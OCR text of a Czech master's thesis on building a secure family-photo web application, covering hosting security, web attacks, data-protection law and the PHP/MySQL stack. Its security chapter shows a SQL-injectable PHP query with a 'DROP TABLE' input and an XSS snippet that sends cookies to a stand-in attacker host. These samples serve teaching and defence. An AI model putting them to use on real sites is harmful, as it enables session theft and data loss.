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Abstrakt

Tato price se zaméfuje na navrh a vytvoreni webové aplikace pro spravu rodinnych
fotografii, s dirazem na bezpecnost a transparentnost v oblasti manipulace s poskytnutymi
osobnimi udaji. Aplikace bude pouZzitelna na jakémkoliv zafizeni disponujicim obrazovkou,
prohliZze¢em a pfipojenim k internetu, a bude nabizet mj. i automatickou detekci tvafe na

vloZenych fotografiich.

Abstract

This thesis focuses on the design and development of a web application that offers help in
managing family photographic material, with the emphasis on data integrity and security,
and maximum transparency when handling personal information. The application will be
usable on any device with a screen, web browser and internet connection. One of its key

features will be face detection on uploaded photographs.
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UvVOD

Transparentni a bezpecnd aplikace pro spravu osobnich fotografii, kterd by byla nejen
dostatecné zajimava pro mladé lidi, ale také disponovala intuitivnim ovlddanim pro starsi

generace. To byly mé prvni mySlenky ve spojeni s tématem této diplomové préce.

Idea se mi zrodila v hlavé, kdyz jsem si uvédomil kolik starych rodinnych fotografii mame,
a ze informace o Clenech rodiny na nich zachycenych, si miij dédecek odnese do hrobu
- pokud je od néj neziskdm, a nevytvofim néjaky logicky systém pro jejich uloZeni a

prohliZeni.

Nejdfive si stanovim cile, kterych ma napln této diplomové prace dosdhnout. Nasledné
popisi technologie, praktiky, metody a pojmy, které pozdéji vyuZiji, nebo alesponi zminim.
Provedu také analyzu trhu, podivam se na jizZ existujici podobné sluzby, a predstavim

modelové uZzivatele budouci aplikace.

Nejdulezitéjsi casti pak bude samotnd navrh a tvorba aplikace, kde popiSu, jak vlastné
vznikala - od definice vyvojového prostiedi po nasazeni na server a testovaci start. Roze-
beru jeji architekturu, pouzité knihovny tfetich stran a databdzovy systém. Uréim druhy
uzivateld, typy uzivatelskych Gcti a jejich autorizaci a autentizaci. Nastinim fungovani

jednotlivych casti aplikace, a ddm nahlédnout do procesu tvorby uZivatelského rozhrani.

Na zavér jesté ekonomicky zhodnotim cely vyvoj aplikace, a popiSu mé plany pro jeji

budouci financovani, a pfiblizny ¢asovy horizont vraceni investovanych prostredkd.
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CILE PRACE

Cilem diplomové prace je spravné navrhnout a vytvorit funkéni prototyp webové aplikace
nabizejici sluzby z oblasti archivace rodinného fotografického materialu a statistiky ¢lent
rodiny (déle jen ”Aplikace” nebo ”’Sluzba”). Jelikoz diplomova price nestavi na existujicim
projektu, a snazi se navrhnout nové feSeni, jeji analyticka ¢ast se bude zabyvat hlavné
prizkumem trhu, a zjiSt€nim potieb potencialnich zdkaznik, které by vznikajici Aplikace
méla uspokojit.

s v 2

Aplikace bude uchovavat citliva data svych uZivatel, a proto se v teoretické ¢asti zaméfim
hlavné na bezpecnostni hrozby, a jak je pii pouZiti danych technologii minimalizovat, nebo
v idedlnim pfipadé eliminovat. Zhruba také nastinim legislativni omezeni, a také pouZzité

technologie v ndvrhové Casti.

Ta bude pfimo popisovat jak jsem prototyp Aplikace vytvoril, zabezpecil, a spustil. PopiSi
také, jakym zptsobem by Aplikace mohla rust, a jaké moznosti mi pouZité soucasné

technologie nabizeji.

13



1 TEORETICKA VYCHODISKA

V teoretické Casti nejdiive popiSu bezpecnostni rizika, se kterymi se dneSni webové
aplikace Casto potykaji, a které jsou mnohdy ignorovany provozovateli, a zneuzZivany
rizny-mi Skoditeli. Druhym dulezitym pilifem, na kterém bude Aplikace postavena, jsou
legislativni nafizeni, které co nejjednoduse;ji predstavim. Treti teoretickou kapitolou pak

budou pouZité technologie.

1.1 Bezpecnost

Jak jsem jiz zminil v cilech price, Aplikace bude dlouhodobé uchovavat citliva osobni data
uzivatell, a proto je jejich zabezpeceni pted ztratou i odcizenim prvni véci, kterou je tieba
napldnovat a zajistit. BezpecCnostni opatteni Ize zavadét na tiech stranach: poskytovateli

serverového prostoru, Aplikaci, a u uZivatele.

1.1.1 Poskytovatel serveru

Nastaveni a zprovoznéni vlastniho serveru pro webovou sluzbu je v dnesni dobé, kdy na
trhu existuje mnoho cenové vyhodnych poskytovateli servert, zbyte¢né nakladné, a vyplati
se o tom uvazovat az v dobé, kdy nabizené alternativy nebudou spliiovat pozadovana kritéria
(explozivni rust, technologie, zabezpeceni). Je tieba tedy vybrat si takového poskytovatele,
ktery bude nabizet nejen posledni bezpecnostni technologie, ale ktery bude také dovolovat
postupné navySovani vykonu podle ristu Aplikace. Jaké bezpecnostni kritéria tedy musi

poskytovatel spliiovat?
Fyzickd bezpecnost

Datové centrum musi byt maximalné fyzicky zabezpeceno. Budova jako takova by neméla
poutat priliSnou pozornost, a méla by byt fyzicky hliddna 24 hodin denné. V nejlepSim
pfipad€ by na mist€¢ méli byt pfitomni samotni spravci, ktefi maji zabranit nepovolenému
ptistupu do objektu, a faddné¢ monitorovat v§echny autorizované ptistupy, aby se minimal-

izovalo riziko Uniku dat na misté, nebo odcizeni technického vybaveni. Minimalné by

14



vSak objekt 1 jeho blizké okoli mélo byt monitorovano kamerou se zdznamem, a hlidano

délkové. (1)(10)

Dulezité je také dodrzeni bezpecnostnich standardi tykajicich se napdjeni a chlazeni
pfistroju, protoZe pti provozu vznika velké mnoZzstvi odpadniho tepla, které je pro optimaln{
chod tfeba odvadét ven. Musi se minimalizovat riziko pteruseni dodavky elektrického
proudu, a kdyZ uz k preruseni dojde, je tfeba mit pfipravené zalozni baterie, které pfistroje
udrzi v provozu po nezbytné nutnou dobu - tj. neZ se piivod elektrického proudu obnovi
(krat$i vypadky), nebo nez se zapne diesel agregét (podrzi v chodu delsi dobu, pfi delSich
vypadcich). Spravné navrzené rozvody elektfiny a zalohy jsou vSak bezptfedmétné, dojde-li

k odstfiZzeni od internetu. (10)

Ptipojeni k internetu by mélo byt feSené spolehlivym a rychlym poskytovatelem interne-
tovych sluzeb se spolehlivosti alesponi 99 %, nejlépe vSak 99,9 %. Rozdil mezi jednim
procentem a jednou desetinou procenta se miiZze zdat maly, ovSem Castost vypadku s
sebou v kone¢ném diisledku nese ztraty na prijmech poskytovanych sluzeb. Redundance
pfipojeni objektu by méla byt kli¢ovym prvkem pii vybéru poskytovatele serverového
prostoru. V pripadé preruseni jednoho spojeni pak bude (omezené) fungovat alespon
zaloZni pripojeni, az do obnoveni pfipojeni primédrniho. Datové rozvody uvniti aredlu by
mély byt fddné navrZeny jak pro maximdlni efektivitu komunikace, tak i pro co nejrychlejsi

opravu piipadného problému. (5)(10)

Redundance je dilezita také pii ukladani uzivatelskych dat. Samoziejmosti by méla byt
kazdodenni zaloha obsahu diski, idedlné pak zrcadleni diskovych poli, aby nedoslo k
zadné ztraté dat, ale toto opatieni si prakticky zada dvojité hardwarové vybaveni, a tedy i

dvakrét vétsi vydaje. (10)

v v

Také lokace datového centra je dileZitd, a totiz ¢im bliZe je ke koncovému uZivateli, tim je
komunikace nejen rychlejsi, ale také bezpecnéjsi, protoze data cestuji pfes mensi pocet

uzli, a dochazi k mensim ztratdm, a sniZuje se riziko odposlechu. (10)

Chceme-li si byt jisti bezpe€nosti uchovavanych dat, je tfeba také provéfit jak méd poskytova-
tel vyfesené pristupy jeho zaméstnanci k datim uchovavanym na serverech. Zaméstnanci

by méli mit pouze autorizaci k aktudlné provadénému vykonu, a kazdy jejich zdsah by mél
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byt monitorovan a fadné zapisovan do zaznamu pfistupu. Ne vzdy se takovy zaméstnanec
miuiZe pripojit k serveru pfimo na misté, a Casto je tieba néco upravit vzdalené. Systém pro
vzdalenou spravu proto musi byt dostate¢né zabezpeceny. V tom mliZe pomoci napiiklad
tzv. dvoufazové ovéreni, kdy zaméstnanec pro pristup musi dolozit svou identitu dvéma
riznymi zpusoby, kterymi mohou byt tfeba otisk prstu, pristupové heslo, sken o¢ni duhovky
nebo Cipovd karta. Je tfeba mit na paméti, Ze autentizace, autorizace i manipulace s daty
probihd prostfednictvim internetu, a je tedy nutné tuto komunikaci Sifrovat, aby nedoslo k

odposlechu. (1)(10)

V neposledni fadé je dobré zjistit jak poskytovatel naklada s vyrazenym technickym
zazemim, a to hlavné s disky, které uchovavaji citliva uZivatelskd data. Nékteré prvky hard-
ware jsou po vyfazeni postoupena dal§im subjektiim, a proto je dulezité, aby poskytovatel
data na discich fadné odstranil, aby nemohlo dojit k jejich obnoveni a iniku dat. Na toto
opatfeni je dilezité dbat i pfi recyklaci zafizeni - na papite sice dojde k jeho demontazi,
ale na cesté mezi datovym centrem a recyklacni stanici se miize stat cokoliv, a znovu tak

hrozi unik citlivych dat. (1)(10)
Technologické zabezpeceni

Pristup zdkaznika k serveru poskytovatele je samoziejmosti, a je dilezité tyto pristupy také
zabezpecit, protoZe k nim dochazi vzdalenég, Casto z druhého konce planety, a pfipadnym

Skoditelim se tak naskyta skvéla prileZitost pro odposlech komunikace.

Ptipojeni by tedy mélo byt Sifrované, naptiklad pomoci protokolu SSH, ktery umoziuje
bezpecnou komunikaci klient-server na zdkladé sparovani verejného a privatniho klice.
Klient posle na server dotaz obsahujici mimo jiné informaci o tom, ktery vetfejny kli¢ ma
pro §ifrovani pouzit. Odpovéd serveru obsahuje nahodny fetézec a identifikdtor spojent,
které jsou verejnym klicem zaSifrované. Pokud klient vlastni spravny privatni kli¢ (je
autorizovand osoba), zpravu deSifruje, jeji obsah pomoci metody MDS5 pfetvoii na fetézec
o fixni délce (tzv. hashovdni), a odesle ho jako novy dotaz na server. Takto vytvoreny
fetézec neni ndhodny, a server ho v mezicase také vytvori. Pokud mu v dotazu od klienta
prijde shodny fetézec, je klient povazovan za autorizovaného, a vytvoii mu zabezpeceny

pristup pro vzdalenou manipulaci s obsahem serveru. (11)(12)
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Pokud neni uvedeno jinak, serverovy vykon je poskytovan sdilené, takze kazdy zdkaznik
ma pravo vyuZzit pouze urcitou ¢ast vykonu stroje. Omezeni se vztahuje také na dloZisté,
a proto je dulezité zamezit horizontalni pohyb na disku (z kofenového adresare jednoho

uzivatele se nesmi jit dostat do kofenového adresare ostatnich uzivateld).

1.1.2 Aplikace

Spatn& napsand aplikace miize potencidlnimu tto¢nikovi nechat pooteviené dveie, &ili
prileZitost jak se do systému dostat, a napachat Skody. Prvnim pfedpokladem pro vytvoreni
dobie zabezpecené aplikace je nejen znalost pouzitého jazyka, ale také znalost jeho
nedostatkd v oblasti bezpecnosti, a rovnéz povédomi o tom, jak typické dtoky v daném
jazyce probihaji. Dilezité je také pouziti posledni stabilni verze jazyka pro vyvoj aplikace,
protoZe ta obsahuje nejvice bezpecnostnich zdplat, a vétSinou Ize takto bez vétsi ndmahy

eliminovat nékteré druhy bezpecnostnich hrozeb.

V pripadé mnou navrhované Aplikace popisi k jakym ttokim muzZe dojit, a jak konkrétné

jim lze zabrénit, nebo alesponn minimalizovat jejich dopad.
Remote Code Execution

K tomuto dtoku muze dojit, kdyz aplikace spravné necisti zpracovavana data odeslana
klientem. Pfimo do adresy, nebo napt. do formulaie vlozi utocnik kus kédu, ktery je pak
na serveru zpracovan. Pokud pfijata data pred zpracovanim nejsou ocisténa od nékterych
znaku, muze systém data chapat jako kus zdrojového kédu, a obsazené piikazy vykonat.

(13)(14)

Bezpecnostnim opatfenim je dbat na tzv. sanitaci dat odeslanych klientem pred dalSim
zpracovanim. V nejhor$im pfipadé se pak stane pouze to, Ze systém nedokdze data

interpretovat, a vrati chybovou hlasku. (13)
SQL Injection

Tento druh ttoku je podobny pfedeslému, v tomto ptipadé ma4 ale Gtocnik zamétreno piimo
na databézi. Data v Aplikaci budou ukldaddna v databézi, ktera je vlastné cilem vétSiny

utokli - Aplikace slouZi pouze jako prostiednik mezi uzivateli a jejich daty. Pokud v
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aplikaci dochézi k uklddani uzivatelem vloZenych dat pfimo do databaze bez pfedchozi
sanitace, miZe dojit k vykondni schovaného piikazu, a v kone¢ném dutisledku k tiniku nebo

ztraté dat. (6)(8)(13)

<?php
$jmeno = $_POST[ 'jmeno'];
$dotaz = "SELECT heslo FROM uzivatele WHERE jmeno = " . $jmeno;

?>

Obrazek 1: Ukazka PHP kodu nachylného ke zneuziti. (Zdroj: vlastni zpracovani)

VysSe uvedeny kod vraci heslo uzivatele podle jména, které vyplnil a odeslal ve formulafi.

Problém nastava ve chvili, kdy uzivatel do pole formulafe napiSe napf. tuto hodnotu:

Honza; DROP TABLE uzivatele

Obrazek 2: Potencialné skodlivy kéd. (Zdroj: vlastni zpracovani)

Pokud je tato hodnota vloZena do dotazu na databazi bez sanitace, dojde nejen k ziskéani
hesla uzivatele se jménem Honza, ale také k odstranéni celé tabulky s uZivateli - stfednik
za jménem totiZ oznacuje konec aktudlniho pfikazu, a cokoliv za nim je povaZovéano za

dalsi piikaz, ktery je vykondn okamzité po provedeni prvniho.

Resenim je pfijatd data z formuldid nevklddat do dotazu piimo, ale pfistupovat k databdzi
pres dalsi, abstraktni vrstvu, ktera pfijatd data kontroluje, a umoziuje bezpecnou komu-
nikaci. Nevyhodou je fakt, Ze je tfeba pochopit jeji fungovani, a naucit se syntaxi navic, ale
na oplatku programator muize byt klidny, Ze je aspon tato ¢ast jeho aplikace neprustielna.
Bonusem je pak samotna abstraktnost, kterd do urcité miry dovoluje jednoduSe ménit

pouzité technologie, aniZ by ¢lovék musel piepisovat tisice fadkt kédu. (6)(9)
Cross-Site Scripting

Nedostatec¢na sanitace uzivatelského obsahu dava uto¢nikiim moZnost zvefejnit kus JS
kddu, ktery miZe sbirat data z prohliZe¢t navstévniki, a ukladat je do vlastni databaze pro

dalsi utoky. Jako piiklad uvedu nasledujici kus kédu: (13)(14)

Téchto par znaki sbird tzv. cookies uloZené v prohliZeci uzivatele. Ty Casto uchovavaji kli¢

pro dlouhodobé piihlaeni do riiznych sluZeb. Utognik tak de facto miZe jednoduse prevzit
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script
document.write('<iframe src="http://zly-utocnik.com?cookie=" +
document.cookie.escape() + '" height=0 width=0e />');
script

Obrazek 3: JavaScript pro Cross-Site Scripting. (Zdroj: vlastni zpracovani)

identitu daného uZivatele, nebo v nejhorSim pripadé€ identitu administratora se vSemi pravy,
a napdachat realnou Skodu. Jak ale tento kus kddu rozsitit mezi uzivatele? Diskusni fora
Casto nabizeji u svych prispévki pripojit podpis, ktery dovoluje vkladat kusy kodu. Staci
zalozit téma, které prilaka co nejvice navstévnikil, hlavné z fad administratorti, a uvedeny
kéd uz se postard o sbér a odeslani osobnich dat. Utoénik tak potencidlné ziské piistupy

nejen na dané forum, ale také na dalsi sluzby vyuzivajici podobnou technologii. (13)

Jak této hrozbé predejit? Zakazat uzivatelim vkladat jakykoliv vlastni kod, a pole vSech

formularovych prvkl fadné sanitovat.

2V O

V mé Aplikaci je uzivatelskych formuldit nékolik desitek, a u kazdého je tfeba pamatovat

jak na sanitaci, tak i na tzv. validaci, kterou popiSu déle.

1.1.3 Uzivatel

Chovéni uZivatele nelze pfimo nijak ovlivnit, ale pfesto je tfeba vZdy pamatovat pravé na

ty nejhorsi eventuality.

Zastaraly systém nebo prohliZe¢

Vv,

Samotné operacni systémy a na nich bézici prohlizece obsahuji mnoho bezpecnostnich
dér, které pak davaji dtocnikiim moznost zneuzit bezpecnostni diry v internetovych ap-
likacich. Programéator webové aplikace musi zjistit, které systémy a prohliZzeCe (nebo jejich
specifické verze) predstavuji bezpecnostni riziko nejen pro ty, ktefi na nich jejich sluzbu

konzumuyji, ale také pro zbytek uzivatelské komunity. (13)

Smutnym, le¢ nutnym feSenim je vadné systémy a prohliZzeCe detekovat, a jejich uzivatelim
nékteré funkce znepftistupnit, nebo uplné zakazat vyuzivani aplikace. UZivateli je pak tieba
co nejjednoduseji vysvétlit pro¢ nemize v jeho situaci Aplikaci pouzivat, co mize udélat

pro to, aby Aplikaci mohl pouzivat, a jaké dalsi benefity tato zména pfinese. S kazdym
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takto "navrdcenym” uZivatelem se internetové sluzby stavaji o néco bezpecnéjsi. (13)
Validace formuldri

Validaci se rozumi kontrola spravnosti vyplnéného formulare. Ta je nutnd na strané serveru,
ale doporucovana i v prohlizeci klienta. Prvnim krokem validace je nastaveni podminek
daného formulafového pole. Jedna-li se napiiklad o registra¢ni formulaf, pole pro e-
mailovou adresu bude pravdépodobné povinné, bude muset obsahovat znak ”@”, a cely
obsah bude muset dodrZovat standard tvaru e-mailové adresy. Druhou ¢4sti je pak kontrola
obsahu, af uz pfed odeslanim formuléfe, nebo uZ pii jeho vypliovani (tzv. validace v
redlném Case). Validace provedena pred odeslanim formulafe ma dvé vyhody. UZivatel
nemusi ¢ekat na odpovéd od serveru, a chybova hlagka se mu ukaZe prakticky okamZité,
a server tak uSetii nékolik promile svého vykonu. To se sice mize zdat jako smésné
nizké ¢islo, ale s rostoucim poctem uZivatell roste i poZadovany vykon, takze kazdy tkon
pfevedeny na klienta (s pamatovdkem na bezpecnost!) znamend vitanou ulevu pro server.
ProhliZecovou validaci vSak 1ze obejit (nebo ji prohliZe¢ nemusi podporovat), proto je vZdy

potfeba mit spravnou validaci i na serveru. (6)(7)

PrihldSenti a odhldseni

Pro pouzivani vétSiny webovych aplikaci musi byt uZivatel registrovan a pfihlaSen. Dochdzi
tedy nejdiive k autentizaci, neboli ovefeni identity, a poté k autorizaci, neboli ovéfeni
pristupovych prav - to podle toho v jaké sekci se nachézi, nebo jaky ukon provadi.
Bezpecné nastavené uzivatelské ucty maji jen absolutni minimum uZivatelskych prav,

aby nemé&li moZnost (byf nechtic) napachat $kody v sekcich, kde nemaji mit piistup. (1)

Bézny uzivatel skonci svou praci s webovou aplikaci tim, Ze zavie zalozku, nebo okno

prohliZeCe, a viibec nepfemysli nad tim, Ze by nékdo mohl jeho identitu odcizit.

Z tohoto thlu je tfeba Aplikaci zabezpecit ndsledovné. Tzv. dlouhodobé ptihlaseni povolit
pouze na omezenou dobu (nejcastéji 30 dnti), poté uzivatele prinutit se znovu prihlasit. Na
pozadi nastavit, aby klient v pravidelnych intervalech posilal zpravu o své pritomnosti.
Pokud tato zprdva na server nedojde, smazat v§echny doCasné soubory spojené s aktudlnim
prihlasenim daného uZivatele. Uklddat zdznamy piihlaSeni a odhl4sSeni, obsahujici Casové

udaje, IP adresu a posledni navstivenou sekci. UZivatelskd hesla nebudou uklddéana v
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ptvodnich hodnotéch, ale budou jednosmérné zasifrovana, takze v piipadé zapomenutého

hesla bude uzivatel muset vytvofit heslo nové. (6)(9)(13)

1.2 Legislativa a prava uzivatelu

I na internetu chrani uzivatele rizné zakony, na které musi tvirci aplikaci pamatovat,

zvlasté kdyz ke svému fungovani musi uchovavat navstévnicka data.

Aplikace samotnd musi svym chodem dodrZovat zdkony stdtu, ve kterém nabizi své sluzby,
ale co je horsi, musi dohlizet na dodrZovani zdkona svych uzivatel, nebo se o to alespon

dolozitelné pokusit.

Obecné bude platit pravidlo prevedeni co nejvétsi odpovédnosti na koncového uZzivatele.
V pripadé, Ze by doslo k realizaci plné verze Aplikace, budou legislativni povinnosti
konzultovany s experty na on-line legislativu. Pokusim se nicméné nastinit s jakymi

problémy by se Aplikace mohla potykat.

1.2.1 Zakon o ochrané osobnich udaju

Tento zdkon sice uvadi, Ze se nevztahuje na fyzické osoby shromazdujici takové udaje
pro osobni potiebu, nicméné administratofi Aplikace budou mit k cizim osobnim tdajim

pristup, tudizZ zakon je tfeba dodrzovat. (2)

V prvni fadé je pfi registraci uZivatele informovat o dodrZzovani tohoto zdkona, a také o
tom, jak bude s naklddano s daty, které Aplikaci poskytnou. Musi také souhlasit, Ze veskeré

udaje predava do Aplikace védomé, a sdm ma pravo sluzbé tyto udaje postupovat. (2)

Aplikace bude umozinovat vkladat osobni informace tfetich osob (rodinni pfislusnici
uZzivatele), aniz by tyto osoby musely Aplikaci vyuZivat. Pokud je to osoba Zijici a
svépravnd, pii vyplilovani a dpravé takovychto informaci bude mit uZzivatel povinnost
uvést platnou e-mailovou adresu, na kterou bude odeslana zpriva informujici tuto osobu
o uchovani jejich osobnich udaji, tcelu uchovani, a moznosti pozadani o odstranéni

osobnich udaju (nebo registraci bezplatného uctu). (2)
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Dulezité je mit na paméti, Ze osobni udaje nebudou piistupné vefejné, nybrz jejich zo-
brazeni bude povoleno pouze omezené mnoZziné uzivatel (rodinni pfislusnici spravovaného

rodokmenu). (2)

1.2.2 Cizi (odcizeny) obsah

Odcizenym obsahem se rozumi fotografie, které dany uZzivatel nezachytil sim (nebo na
jejich pouziti nedostal pravo od pivodniho majitele) a také osobni udaje tfeti osoby,
které k jejich pouZiti nedala svoleni. Takovy materidl bude odstranén, a uZivateli, ktery
ho do sluzby nahril, mize byt zamezeno vyuZzivat Aplikaci kratkodobé, pripadné na
dobu neurcitou, a to i v pripad¢€, Zze vyuziva néktery z placenych ucti. Penize ztracené

zablokovanim pfistupu nebudou uZivateli vraceny. (2)

1.2.3 Fotografie s citlivym obsahem

UZivatelé sice budou nabadéni, aby snimky s citlivym obsahem nenahravali, a tplné se tak
vyvarovali pfipadnému naiceni naptiklad z prechovavani détské pornografie, nahravani
takovychto fotografii v§ak bude povoleno (v hranici slusnych mravi). Uzivatelé budou
mit moZnost fotografii oznacit Stitkem varujicim o citlivém obsahu, a fotografie v plném
rozliSeni, i jeji ndhledy, budou ve vychozim stavu rozmazany, a pivodni verzi budou moci

zobrazit pouze uzivatel, ktery ji vloZzil, a vSechny na fotografii oznacené osoby. (2)

1.2.4 Ztrata dat

Aplikace nebude primdrné slouzit jako archivni ndstroj, a uZivatel bude na tuto skutecnost
upozornén. Bude muset souhlasit s tim, Ze pfi ztrat€ jim nahraného obsahu mu nevznika
pravo na jakoukoliv nahradu ujmy. Jediné, o co bude moci pozadat, je pfipadné vraceni

dat ze zaloh, pokud se tim nenarusi integrita zbytku Aplikace.
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1.2.5 GDPR

Natizeni Evropské unie o ochrané osobnich tdaju se ¢aste¢né prekryva s difve zminénym
Zakonem o ochrané osobnich idaji, nicméné jeho znéni a samotnou ochranu jesté rozsifuje.

3)

Subjekty osobnich tidaji (uzivatelé, osoby uloZené v Aplikaci) maji pravo na opravu udaj,
jejich dplny vymaz (tzv. pravo byt zapomenut) a nebo na omezeni jejich zpracovani.
Osobnimi udaji se ve smyslu tohoto nafizeni mysli i naptiklad udaje o prohliZzeni ukladané

do prohliZece, a ziskdvané webovou sluzbou (napfiklad za ucelem lepSiho cileni reklamy).

3)

Kromé souhlasu s pfedavanim osobnich tidaji bude muset uZivatel potvrdit i své obezname-
ni se znénim tohoto nafizeni, a tento souhlas pak bude muset byt uchovan po dobu vyuzivani
Aplikace. Tento souhlas bude muset byt udélen pii kazdém poskytnuti osobnich tdaju,

které maji byt uloZeny a dale zpracovény, af uZ jsou vlastni nebo cizi. (3)

1.2.6 Elektronicka evidence trzeb (EET)

V dobé psani této diplomové préce platil zakon o elektronické evidenci trZzeb pravnickych
osob. Neékolik mésicii po jeho pfijeti vSak byly od této povinnosti oprostény vSechny
transakce provedené pfevodem z G¢tu na ddet, nebo kartou (af uz on-line nebo pies platebni
termindl). Tento zdkon tedy mtizu bezpecné ignorovat, dokud nevzejde v platnost novela

tvrdici opak. (15)

1.3 Technologie

Neéco malo ohledné pouzitych technologii jsem jiz diive nastinil. Nyni popiSi kazdou
dalezitou technologii podrobnéji, a pripadné uvedu divod pro¢ jsem si vybral zrovna

danou technologii, nebo zminim tuskali, které pfinasi.
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1.3.1 Apache

Vv,

Jedno z nejpouZivanéjsich serverovych prostiedi na svété. Program je open source, a vydan
pod vlastni licenci Apache License, kterd dovoluje tento program pouZzivat bez poplatku za

licenci. To z néj Cini idedlni program pro chod serveru malych a stfednich aplikaci. (6)(16)

Program Apache poskytuje prostfedi pro zpracovani piichozich pozadavki napiiklad z
klientskych prohlizect. V zakladni konfiguraci obsahuje jen absolutni minimum ndstroju,
ale jelikoZ jde o vysoce modularni program, 1ze do néj jednoduse pridat dalSi néstroje

podle potfeb serveru. (16)

Kromé& HTTP protokolu (pouzivano napiiklad pfi komunikaci s prohliZeem uZivatele)
Apache podporuje také FTP protokol pro nahravani/stahovani soubori, SMTP protokol
pro piijimani/odesilani elektronické posty, a také sluzbu DNS pro spravné prifazovani

domén k IP adresdm. Pro komunikaci obecné pouZziva TCP/IP protokol, coZ je seznam

definic jakym zplisobem, a v jakém tvaru, mezi sebou maji server a klient komunikovat.

(6)(16)

Ve vychozim stavu program sleduje pfichozi poZadavky, a kontroluje IP adresy v hlavickdch
téchto pozadavku na shodu s IP adresami v konfiguraénim souboru. Pokud dojde ke shodé¢,

program projde celou hlavic¢ku, a podle jejiho obsahu €ini dalsi kroky. (16)

1.3.2 PHP

Programovaci jazyk, na kterém bude postavena vétSina funkci Aplikace. Jde o univerzalni
jazyk, a ackoliv neni soucasti operacnich systémd, Ize jeho podporu dodate¢né nainstalovat,
a zaCit ho pouZivat. Je sice primdrné vyuZzivan na serverech, ale 1ze ho pouZit i v ptikazovém
fadku - naptiklad pro spousténi pravidelnych jednordzovych funkci (napt. funkce pro sbér
statistik, kterad je pak naformatuje a ulozi do databéze), a 1ze v tomto jazyce také psat
aplikace urcené piimo pro spusténi v systému (pro tento icel vSak existuji lepsi jazyky).

(6)(17)

Jak jsem jiz uvedl, primarné je jazyk vyuzivin v serverovém prostiedi, protoze jeho

vystupem je ve vychozim stavu HTML (XML) kéd, ktery predstavim na konci kapitoly.
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ProhliZe¢ klienta nedokaze zobrazit a upravit obsah PHP soubort (pokud je server spravné

nastaven), takZe dtlezité funkce aplikace napsané v tomto jazyce jsou v bezpeci. (9)

Skripty v PHP lze psat jak procedurdlné (funkce navazujici na dalsi funkce), tak 1 objektové
(logickd atomizace koédu, modularita, dédéni vlastnosti a snadnéjsi rozsiteni). V dnesni
dobé je preferovan pravé objektovy zptlisob, na kterém jsou postaveny rizné nadstavby,
tzv. frameworks, coZ neni nic jiného, neZ mnoho na sebe navazujicich objektl a funkci,

které spolecné fesi trividlni dlohy, a kterych feSeni autor vznikajici aplikace nemusi znovu

a znovu vytvaret. (9)(17)

Nasledujici ukazka kodu predstavuje jednoduchou funkci, kterd ndsobi dva Cisla, a vraci

vysledek nasobeni. Ten je pak pomoci echo ptikazu vypsan na obrazovku.

<?php
function vynasob($prvniCinitel, $druhyCinitel) {
$soucin = $prvniCinitel * $druhyCinitel;
return $soucin;

}
echo vynasob(2, 2);
?>

Obrazek 4: Nasobici funkce napsana v jazyce PHP. (Zdroj: vlastni zpracovani)

PHP podporuje také mnoho druhti databazovych systémi, jako je napiiklad MySQL, ktery
popisu dale. (17)

1.3.3 MySQL a databaze obecné

Jeden z mnoha dnes pouZivanych databdzovych systémil pouZivajici jazyk SQL. Zajistuje
komunikaci mezi databazi a klientem. Klientem je ve smyslu této prace myslen koncovy
uzivatel Aplikace, kterd mu dé€l4 prostfednika, a datovy tok upravuje do pozadované
podoby. MySQL zajistuje pomoci SQL dotazu ziskéni spravnych dat, jejich pifpadnou

upravu piimo v databdzi, a také poskytuje jejich zabezpeceni. (6)

SELECT jmeno FROM mesta WHERE psc = '60200°';

Obrazek 5: SQL dotaz vracejici hodnotu ”Brno”. (Zdroj: vlastni zpracovéni)
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MySQL je postaveno na tzv. relacni databézi, kterd uklada data do tabulek. Tyto tabulky
jsou jasné strukturovany, a mohou byt na sebe rizn€ navazany (proto se databaze nazyva

relacni). V relacnich databdzich existuji tii druhy vazeb: (18)

1. 1:1 - Jeden unikatni zaznam v tabulce A miiZe byt navazan na presné jeden unikatn{
zédznam v tabulce B, napt. kazdy uZivatel se prihlasuje do Aplikace jednou e-

mailovou adresou.

2. 1:N - Jeden unikatni zaznam v tabulce A miZe byt navdzan na vice zaznamu v
tabulce B, napf. na jednom misté miize byt pofizeno vice fotografii, ale kazda takova

fotografie byla pofizena na jednom misté.

3. M:N - Jeden ¢i vice zaznamu v tabulce A muzZe byt navazano na jeden ¢i vice
zdznamu v tabulce B, napf. album obsahuje mnoho fotografii, ale kazda fotografie

muze byt zahrnuta do nékolika alb najednou. (18)

uzivatele oznaceni_uzivatele fotografie
id id id
jmeno _|—> id_uzivatele nazev
prijmeni id_fotografie datum_vlozeni

Obrazek 6: Databazové tabulky se znazornénymi relacemi. (Zdroj: vlastni zpracovéni)

Kazdy zaznam v tabulce obsahuje unikatni primarni kli¢, ktery miZe byt bud jednoduchy
(napt. rodné &islo), nebo sloZeny (napf. Cas pofizeni fotografie, misto a jméno autora).
Pokud se takovy kli¢ nachazi mimo svou ptuvodni tabulku, nazyva se cizim klicem, a slouZz{

pravé pro definovani vazby mezi dvéma zdznamy v tabulkach. (18)

Nastroj jako MySQL nabizi moZnost jednoduSe definovat omezeni podle nastavenych
vazeb. Jako ptiklad uvedu fotografii a jejtho autora v Aplikaci. Existuje mezi nimi vazba
1:N (jeden uzivatel muze vloZit nékolik fotografii, ale kazda m4 pouze jednoho autora), a
pokud dojde ke smazéni jedné z fotografii (a za prfedpokladu, Ze fotografie nema zadné dalsi
vazby), nic katastrofického se nestane, a fotografie jednoduse zmizi z vypisu. OvSem v
piipad¢, Ze dojde ke smazani autora, zistaly by v databazi zdznamy (a na serveru soubory),

které nemaji zaddnou vazbu, a které by mohly zptisobovat chybu. V pripadé odeslani
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pfikazu pro odstranéni zdznamu autora Ize definovat naptiklad nasledné smazani vSech

jeho fotografii, nebo odstranéni zabranit, a vypsat divod pro¢ k nému nedoslo. (6)

Jak se obsah databaze vytvari a pouZziva, popisi na ptikladu Aplikace ve Vlastnim navrhu

feSeni.

1.3.4 JavaScript

Programovaci jazyk nejcastéji pouzivan pro manipulaci obsahu vykresleného prohlize¢em,
z ¢ehoz vyplyva, Ze vechny vypoclty probihaji na strané klienta. Pomoci toho jazyka lze
staticky obsah preménit na interaktivni, a uzivateli tak usnadnit pouzivani. Krome Cisté
vizualnich vylep3ent, Ize diky JavaScriptu napiiklad odeslat dotaz na server, a odpovéd ze
serveru pak v redlném Case vlozit do prave prohlizeného dokumentu, aniz by bylo nutné

ho znovu cely nacist. (7)

const vynasob = (prvniCinitel, druhyCinitel) => {
const nasobek = prvniCinitel * druhyCinitel;
return nasobek;

}
alert(vynasob(2, 2));

